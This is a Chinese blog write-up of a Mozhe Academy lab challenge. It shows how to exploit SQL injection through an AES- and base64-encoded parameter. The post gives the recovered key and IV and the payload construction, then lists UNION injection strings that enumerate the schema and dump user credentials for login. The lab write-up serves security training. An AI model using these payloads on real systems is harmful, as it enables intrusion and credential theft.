墨者学院 - SQL注入漏洞测试(参数加密)
list.php
御剑扫描得到 http://219.153.49.228:48291/news/list.zip
解压得到源码
从decode方法可知:AES的数据块长度为128位,密钥为ydhaqPQnexoaDuW3,偏移量为2018201920202021,填充为zeropadding
第八行 :判断网页id后面的查询字符串值,先两次base64解密,再AES解密,删除_mozhe字符,得到需要的id
第十一行;判断字符串是否有 “_mozhe”
反之逆序构造payload,先将注入字符串末尾添加_mozhe字符,然后AES加密
因为AES加密默认已进行了一次base64加密,所以aes加密后再进行一次base64加密即可
(((密文)base64解密)base64解密)AES解密+'_mozhe'=id
((id+“_mozhe”)AES加密)base64加密 = 密文
注入
找显示位置
1 and 1=2 union select 1,2,3,4_mozhe
得出2为标题,3为内容
找数据库名
1 and 1=2 union select 1,database(),version(),4_mozhe
得出数据库mozhe_Discuz_StormGroup
找表名
1 and 1=2 union select 1,TABLE_NAME,3,4 from information_schema.TABLES where TABLE_SCHEMA='mozhe_Discuz_StormGroup' limit 0,1_mozhe
得出第一个表:StormGroup_member
后面还会找到notice表,但是没有用
找字段名
一般name,password,status字段在第二个字段以后
1 and 1=2 union select 1,COLUMN_NAME,COLUMN_TYPE,4 from information_schema.COLUMNS where TABLE_SCHEMA='mozhe_Discuz_StormGroup' and TABLE_NAME='StormGroup_member' limit 1,1_mozhe
得到第二个字段为name
第三个字段为password
第四个字段为status
找用户名、密码和状态
1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 0,1_mozhe
得到第一个用户名,密码,状态
1 and 1=2 union select 1,CONCAT(name,'-',password,'-',status),3,4 from mozhe_Discuz_StormGroup.StormGroup_member limit 1,1_mozhe
得到第二个用户名,密码,状态
或者
1 and 1=2 UNION SELECT 1,2,group_concat(name,password),4 from StormGroup_member _mozhe
显示所有用户名密码
按照惯例,md5解码,获得真密码
登录
Done
https://blog.zhengxianjun.com/online-tool/crypto/aes/
https://www.sojson.com/base64.html
————————————————
版权声明:本文为CSDN博主「多崎巡礼」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_42357070/article/details/82878357